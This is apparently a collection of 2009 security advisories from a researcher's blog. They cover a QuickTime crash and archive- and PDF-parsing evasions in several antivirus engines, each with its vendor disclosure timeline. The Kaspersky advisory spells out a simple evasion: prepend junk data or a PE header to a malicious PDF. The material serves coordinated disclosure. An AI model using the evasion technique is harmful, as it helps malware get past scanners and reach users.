Wikipedia quote: "Apple Inc. (NASDAQ: AAPL) is an American multinationalcorporation which designs and manufactures consumer electronics and software products. The company's best-known hardware products include Macintosh computers, the iPod and the iPhone."

II. Description
A null pointer is being dereference when CFRelease() is called on NULL.

III. Impact

The browser will crash, your data might be lost.

IV. Proof of concept (hold your breath)

Link

V. Disclosure timeline

DD/MM/YYYY

• 18/11/2008 : Send proof of concept file and a description that failed to give the correct impact
  
  
• 25/11/2008 : Apple acknowledges receipt and reproducibility :"After investigating this issue further, we've determined that the crash your test case triggers is caused by dereferencing a null pointer and not from a format string issue"
  
  
• 20/01/2009 : Ask for an update
  
  
• 23/01/2009 : Apple sends an encrypted and signed PGP mail, fine, however the mail is encrypted with their own key
  
  
• 23/01/2009 : Ask for the mail to be resend as I don't have Apple's private key
  
  
• 24/01/2009 : Apple states that "Regarding the QuickTime null dereference you reported, this bug is still being worked on by our engineers and is not addressed in QuickTime 7.6"
  
  
• 26/01/2009 : Ask apple for a fix time line as this is an ridiculously easy to fix vulnerability
  
  
• 27/01/2009 : Apple states "Regarding the QuickTime null deref issue, it is currently set to be part of the next QuickTime update. [..] Additionally, we do not intend to describe this crasher in our
  security advisory.

Note: No Security advisory = no credit, should have published here.

• 28/01/2009: Apple states "Given that we are handling this as a crasher and not as a security exposure, it stands to reason that you may want to disclose it without waiting for the update that addresses it and without further coordination with Apple.We do appreciate the fact that you reported it to us and are intending to address it in the next available update"

[..]
[Several discussion about CIA, why a DoS against the iPhone is worth a security
advisory, when it isn't against safari.. etc. I spare you the details]
[..]

• 29/01/2009: Ask why I should hold disclosure for a DoS in a particular portable apple product but disclose DoS in other apple products. Asked apple to make a choice, either DoS is a security issue and I won't disclose or it isn't and I disclose all of them, including the one in the very portable apple product
  

• 30/01/2009 : Apple answers that : "Your QuickTime and Safari issues constitute denial of service.We consider any denial of service issue to be security related, and they are important to fix. We plan to fix the ones you reported in the next available updates." [..] I was not able to locate a suitable place for crediting the QuickTime crasher"

Fast forward 5 months, and Apple releases a stream of code execution bug fixes for Quicktime.

• 01/06/2009 : Ask for an update and if the DoS condition has been fixed

• 02/06/2009 : Apple states that "According to our bug tracking system the null-dereference crasher issue is not yet addressed in QuickTime. We are investigating now to see if for some reason the latest version has picked up changes that address this issue and will send you feedback today about it."

In summary, no credit, no advisory, and 7 months of time to (not) fix a single line of code.

• 14/06/2009 : Release of this advisory

Subscribe to the RSS feed in case you are interested in regular updates

Release mode: Coordinated but limited disclosure
Ref : [TZO-33-2009] - F-prot TAR bypass / evasion
Vendor : http://www.f-prot.com
Status : Current version not patched, next engine version 4.5.0 will be patched
CVE : none provided
Credit : Given in the History file
OSVDB vendor entry: none [1]
Security notification reaction rating : better than last time
Notification to patch window : n+1 (no patch for current build
,vendor not sure when 4.5 will be deployed)

Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products (all versions up to 4.5.0 which is not released yet)

• F-PROT AVES (High: complete bypass of engine)
• F-PROT Antivirus for Windows (unknown)
• F-PROT Antivirus for Windows on Mail Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Exchange (High: complete bypass of engine)
• F-PROT Antivirus for Linux x86 Mail Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Linux x86 File Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Solaris SPARC / Solaris x86 Mail Servers (High: complete bypass of engine)
• F-PROT Milter - for example sendmail (High: complete bypass of engine)
• F-PROT Antivirus for Linux on IBM zSeries (S/390) (High: complete bypass of engine)
• F-Prot Antivirus for Linux x86 Workstations (unknown)
  

OEM Partners affected :

• Autentium (all versions)
  

OEM Partners with unknown status :

• Sendmail, Inc.
• G-Data
  

I. Background
Quote: "FRISK Software International, established in 1993, is one of the world's leading companies in antivirus research and product development.

FRISK Software produces the hugely popular F-Prot Antivirus products range offering unrivalled heuristic detection capabilities. In addition to this, the F-Prot AVES managed online e-mail security service filters away the nuisance of spam e-mail as well as viruses, worms and other malware that increasingly clog up inboxes and threaten data security."

II. Description
The parsing engine can be bypassed by a specially crafted and formatted TAR archive.

III. Impact
~~~~~~~~~~~
A general description of the impact and nature of AV Bypasses/evasions can be read at :
http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html

The bug results in denying the engine the possibility to inspect code within TAR archives. There is no inspection of the content at all and hence the impossibility to detect malicious code.


IV. Disclosure timeline

DD/MM/YYYY

• 28/04/2009 : Send proof of concept, description the terms under which I cooperate and the planned disclosure date.
  

No reply

• 11/05/2009 : Resending PoC file asking to please reply

• 20/05/2009 : Frisk replies that it was unable to extract the PoC file with "tar" and hence see no bypass.

• 20/05/2009 : Inform Frisk that the PoC extracts fine with Winzip
  

• 22/05/2009 : Frisk send a lengthy e-mail re-discussing bypasses/evasions

• 22/05/2009 : I state that I will not discuss this topic any further, everything has been said and written multiple times and to please only state if either Frisk patches or not.

• 22/05/2009 : Frisk states that the changes to the parsing code are minor i.e not relying on the checksum. The patch will be included in the next releaes candidate 4.5.0 and credit will be given in the History file

Comment: I give it some time to 4.5.0 to be released.

• 10/06/2009 : Ask Frisk if 4.5.0 has been released now
  

no reply

• 14/06/2009 : Release of this advisory

[1] F-prot is encouraged to leave their security contact details at http://osvdb.org/vendor/1/Frisk%20Software%20International to facilate communication and reduce lost reports.

Subscribe to the RSS feed in case you are interested in updates.

Release mode: Coordinated but limited disclosure
Ref         : [TZO-32-2009] - Norman generic evasion (RAR)
Vendor      : http://www.norman.com   
Status      : Patched (with decompression engine version 5.99.07)
CVE         : none provided
Credit      : http://www.norman.com/support/security_bulletins/69333/en
OSVDB vendor entry: Norman is not listed as a vendor in OSVDB
Security notification reaction rating : ok
Notification to patch window : 77 days

Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products :
The vulnerabilities have been fixed in Norman's compression library (NCL) 5.99.07, relased on Norman's Internet update servers as an automatic update 03 June 2009.  This solves the vulnerability for all updated Norman's products except for Norman Network Protection

• Norman Virus Control single user and corporate versions
• Norman Internet Control
• Norman Virus Control E-mail plugins
• Norman Endpoint Protection
• Norman Secuirty Suite
• Norman Network Protection
• Norman Virus Control for Lotus Domino
• Norman Virus Control for Exchange
• Norman Virus Control for Linux
• Norman Email Protection
• Norman Email Protection Appliance
• Norman Online Protection
• Norman Virus Control for AMaViS
• Norman Virus Control for MIMEsweeper
• Third party vendors that use the Engine
  

 OEM vendors known to use the Norman engine :
 - eeye Blink


I. Background
Quote: "Norman ASA is a world leading company within the field of data security, internet protection and analysis tools. Through its SandBox technology Norman offers a unique and proactive protection unlike any other competitor"


II. Description
A general description of the impact and nature of AV Bypasses/evasions can be read at :
http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html

The bug results in denying the engine the possibility to inspect code within the RAR archive. There is no inspection of the content at all.

III. Impact
The bug results in denying the engine the possibility to inspect code within the RAR archives. There is no inspection of content at all.

A general description of the impact and nature of AV Bypasses/evasions can be read at :  http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html


IV. Disclosure time-line
DD/MM/YYYY

• 05/03/2009 : Send proof of concept (RAR Size), description the terms under which I cooperate and the planned disclosure date.          
  

          No reply

• 13/03/2009 : Re-Send proof of concept (RAR Size), indicating this is the last attempt to responsible disclose.
• 14/03/2009 : Norman acknowledges receipt
  
  
• 23/03/2009 : Send proof of concept (RAR Method)
  
  
• 23/03/2009 : Asking for an update for the RAR Size sample
  
  
• 02/04/2009 : Norman confirms reproduction of RAR Method PoC and that they will release            the patch a.s.a.p
  
  
• 02/04/2009 : Norman promises to get back with release dates/advisory information as soon as they have some firm dates
  
  
• 06/04/2009 : Norman confirms reproduction of RAR Headflags PoC             20/04/2009 : Norman confirms reproduction of the CAB PoC and that all reported vulnerabilities have been patched internally.
  
  
• 22/04/2009 : Ask for a list of affected versions/products   
  no answer
  
  
• 27/04/2009 : Norman sends in the patched decompression DLL for me to if the patch is correct
  
  
• 28/04/2009 : Send TAR PoC file
  

          no acknowledgement

• 07/05/2009 : Ask for an update to all reported bugs
  

          no reply

• 08/05/2009 : Inform Norman that as I no longer receive any replies I assume that the patch is deployed and set that the final disclosure date to the 1.06.2009
  

• 09/05/2009 : Norman states they probably can't make the 1/06/2009

• 09/05/2009 : Propose to postpone disclosure upon request

• 28/05/2009 : Ask for an update as 01.06.2009 still is set             

• 30/05/2009 : Norman asks to postpone the disclosure by a week as they have to finish Q&A
  

• 09/06/2009 : Ask norman whether the Q&A has been finished

• 09/06/2009 : Norman replies the patches where deployed on the 3rd of June
  
  
• 10/06/2009 : Release of this advisory.
  

          

Subscribe to the RSS feed in case you are interested in updates

Release mode: Coordinated but limited disclosure.
Ref         : [TZO-31-2009] - Ikarus multiple evasions through CAB,RAR,ZIP
Vendor      : http://www.ikarus.at     
Status      : Patched (after engine version 1.1.58)
CVE         : none provided
Credit      : t.b.a
OSVDB vendor entry: Ikarus is not listed as a vendor in OSVDB
Security notification reaction rating : good
Notification to patch window : 77 days
Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html


Affected products :

• IKARUS virus utilities  (scan-time)
• IKARUS myM@ilWall
• IKARUS Content Wall
• IKARUS security.proxy

I. Background
Ikarus Software GMBH is an Anti-virus company based in Austria.

II. Description
The parsing engine can be bypassed by a specially crafted and formated RAR (Headflags and Packsize),ZIP (Filelenght) and CAB (Filesize) archive.

III. Impact
The bug results in denying the engine the possibility to inspect code within the RAR, ZIP archives. There is no inspection of content at all.

A general description of the impact and nature of AV Bypasses/evasions can be read at :  http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html


IV. Disclosure time-line
DD/MM/YYYY

• 23/03/2009 : Send proof of concept (ZIP), description the terms under which I cooperate and the planned disclosure date
  
  
• 04/04/2009 : Send proof of concept (RAR)
  
  
• 07/04/2009 : Ikarus acknowledges receipt, patching Dev builds has begun10/04/2009 : Resending ZIP PoC
  
  
• 13/04/2009 : Submitting CAB PoC
  
  
• 17/04/2009 : Ikarus demands to delay disclosure
  
  
• 01/05/2009 : Ikarus states that it has started Q&A for the new builds
  
  
• 03/06/2009 : Ikarus informs me that they started deploying the patches/updates and that credit will be given on a website to come
  
  
• 09/06/2009 : Release of this advisory

        

80% of all attacks come from within the enterprise - so the dogma.

After the Verizon report that stated that the insider threat is grossly exagerated here is another interesting piece from Taosecurity :

• Did you know that the 80% statistic is based on a 17 year old report with questionable procedures?
  
  
• Did you know that this is know since a 2001 CSI/FBI study quoted Dr. Eugene Schultz ? [1]
  

  There is currently considerable confusion concerning where most attacks originate. Unfortunately, a lot of this confusion comes from the fact that some people keep quoting a 17-year-old FBI statistic that indicated that 80 percent of all attacks originated from the [inside].

• Quote: "For the past five years, incidents caused by insiders accounted for 7% or less of all Web intrusions. In 2003, outsiders accounted for 53%. About one-quarter of respondents said they “don’t know” the origin of their Web incidents, and 18% said “both” the inside and outside participated."
  
  
• While the 80% myth seems busted, insiders apparently caused more financial damages than outsiders.
  

Read more at TaoSecurity

It seems to appear to the public that, as an example, Symantec does not suffer from the same bugs as reported in other vendors products, as I have not released any advisories for them. This is not the case. Symantec and some other vendors seems to either play the "collect all bugs, publish one advisory game" delaying the patches and exposure window in an unnecessary fashion or take a rather long time reproducing simple bugs, which isn't really any better.

My reaction to this is to stop submitting vulnerabilities to such vendors and only continue to submit POC files once patches are issued. To remove the incentive to collect multiple bugs and release one advisory, I will publish one advisory per bug, regardless of how many patches there are released.

Currently on the "Stop to submit POC files" list are :

• Symantec
• IBM
• Quickheal
  

Subscribe to the RSS feed in case you are interested in updates

Release mode: Forced disclosure  
Ref : [TZO-30-2009] - Kaspersky PDF evasion (Forced disclosure) 
Vendor : http://www.kaspersky.com 
Status : Silent fix that doesn't work - No appropriate patch 
CVE : none provided Credit : none given  
OSVDB vendor entry: No [1]

Security notification reaction rating : Catastropic
Not only did the headquarter not answer, they (tried) to patch this vulnerability silently, only to fail at it. See Timeline.

This is not the first time that Kaspersky did not answer but patched bugs without credit, advisory or anything. This was however the last time I will not disclose, I am no longer part of an entity that tolerates irresponsible non-disclosure.

A professional reaction to a vulnerability notification is a way to measure the maturity of a vendor in terms of security. Kaspersky is given a grace period of two (2) weeks to reply to my notifications. Failure to do so will result in details of all the other reported bugs be released in two (2) weeks.

Notification to patch window : x+n
Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products (all versions) :

• Kaspersky Internet Security
• Kaspersky Anti-Virus
• Kaspersky Mobile Security
• Kaspersky Small Office Security
• Kaspersky Open Space Security
• Kaspersky Business Space Security
• Kaspersky Work Space Security
• Kaspersky Enterprise Space Security
• Kaspersky Targeted Security
• Kaspersky® Anti-Virus for Microsoft ISA Server
• Kaspersky® Anti-Virus for Proxy Server
• Kaspersky® Anti-Virus for Check Point Firewall-1
• Kaspersky® Anti-Virus for Windows Server
• Kaspersky® Anti-Virus for Windows Server Enterprise Edition
• Kaspersky® Anti-Virus for Novell NetWare
• Kaspersky® Anti-Virus for Linux File Server
• Kaspersky® Anti-Virus for Samba Server
• Kaspersky® Security for Microsoft Exchange 2007
• Kaspersky® Security for Microsoft Exchange 2003
• Kaspersky® Anti-Virus for Lotus Notes/Domino
• Kaspersky® Anti-Virus for Windows Workstation
• Kaspersky® Anti-Virus for Linux Workstation
• Kaspersky® Anti-Virus for Linux Mail Server
• Kaspersky® Mail Gateway Kaspersky® Anti-virus for MIMEsweeper
  

I. Background
Quote: "We develop, produce and distribute information security solutions that protect our customers from IT threats and allow enterprises to manage risk. We provide products that protect information from viruses, hackers and spam for home users and enterprises and offer consulting services and technical support. "

II. Description
The PDF files are not parsed correctly, a PDF file starts with the magic byte "%PDF" and ends with the magic byte "%%EOF", everything in between those markers is parsed and interpreted. Furthermore PDF files are read from the bottom to the top.

Adobe Acrobat nor the FoxitReader care too much about the data that comes prior the magic byte, the kaspersky engine does, not only does it care, it fails to detect the malware inside the PDF file.

I will spare you the details, a PDF file is bascialy a container that starts with %PDF and ends with %%EOF.

What follows are the details of this evasion, note this one is generic and the easiest one, there are plenty more. What you read below is true as amazing as it might seem, you can't have it more simple.

Example of a malicious PDF file :
%PDF Malicious content here %%EOF

Doing :

Enter stuff here, like random text.
%PDF Malicious content here %%EOF

This has the result that the malware is no longer being detected. Note: Not a single byte of the malware itself been altered, and strictly speaking the content that represent a PDF file hasn't been changed at all.

This has been tested with several malicious PDF files and represents a generic evasion of all PDF signatures and heuristics.

Kaspersky was given the PoC file directly through myself and F-Secure, they went ahead an patched this by adding a signature for the POC file, adding a PE header in front of a PDF file (with a PDF extension) still evades detection and the exploit still triggers when opening the file with Adobe. Thus the patch is flawed by design.

Thus the root cause is :

• The PDF file is not parsed from the bottom to the top, it's important to support the format the same way the end-user application does.
  
• The PDF magic byte (was) read from at static offset
• Heuristics are apparently not good enough to detect simple shellcode in a PDF file
  

Kaspersky was given the sample directly through myself and F-Secure, they went ahead and silently patched this by adding a signature for the PoC file. After analysis the patch proved to be incomplete, by adding a PE header in front of a PDF file (with a PDF extension) detection is still evaded and the exploit still triggers when opening the file with Adobe.


A professional reaction to a vulnerability notification is a way to measure the maturity of a vendor in terms of security. Kaspersky is given a grace period of two (2) weeks to reply to my notifications. Failure to do so will result in details of all the other reported bugs be released in two (2) weeks.

III. Impact
The heuristics can be bypassed by a special formated PDF "container", this leads to the bypass of malicious PDF files, old or new. This is not a bypass that relies on archive structures but relies on evading certain
code paths in the av engine "through various means".

A general description of the impact and nature of AV Bypasses/evasions can be read at : http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html

Note: Certain vendors confirmed this to bypass their engine at runtime.


IV. Timeline
DD/MM/YYYY

• 15/05/2009 : Send proof of concept, description the terms under which I cooperate and the planned disclosure date.
  
  no reply (note - there where receipt acknowledgements (nothing more) for 2 other reports but not this one )
  
  
• xx/05/2009 : F-Secure sends the same sample to Kaspersky
  
  
• 01/06/2009 : Re-sending the proof of concept, description the terms under which I cooperate and the planned disclosure date. No reply
  

• 03/06/2009 : F-Secure informs me that the sample was submitted to Kaspersky
  
  
• 03/06/2009 : Informed F-secure to communicate with Kaspersky and please ask them to reply to my notifications.
  
  

• 03/06/2009 : Kaspersky Moscow visits my blog, searches for "AVP" and "Kaspersky". Obviously they received both reports.
  No reply
  
  
• 04/06/2009 : I discovered that the PoC file is now detected by the latest Kaspersky update.
  
• 04/06/2009 : Discovered that adding a few bytes evades the AV engine again
  +5minutes
  
  
• 09/06/2009 : Release of this advisory on the blog, tweet. Hoping for any reaction prior to sending it to bugtraq et al.
  
  
• 13/06/2009 : Release to Bugtraq et al and start of grace period.
  
  
• 14/06/2009 : Kaspersky sends me an e-mail and promises to get back with updates.
  
  

Note (in all fairness): Kaspersky US did acknowledge the receipt of 2 other bugs,however they couldn't provide any information or any reaction as Moscow simply didn't answer them.

[1] http://osvdb.org/vendor/1/Kaspersky%20Labs
[2] http://blog.didierstevens.com/2009/05/14/malformed-pdf-documents/
[3] http://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/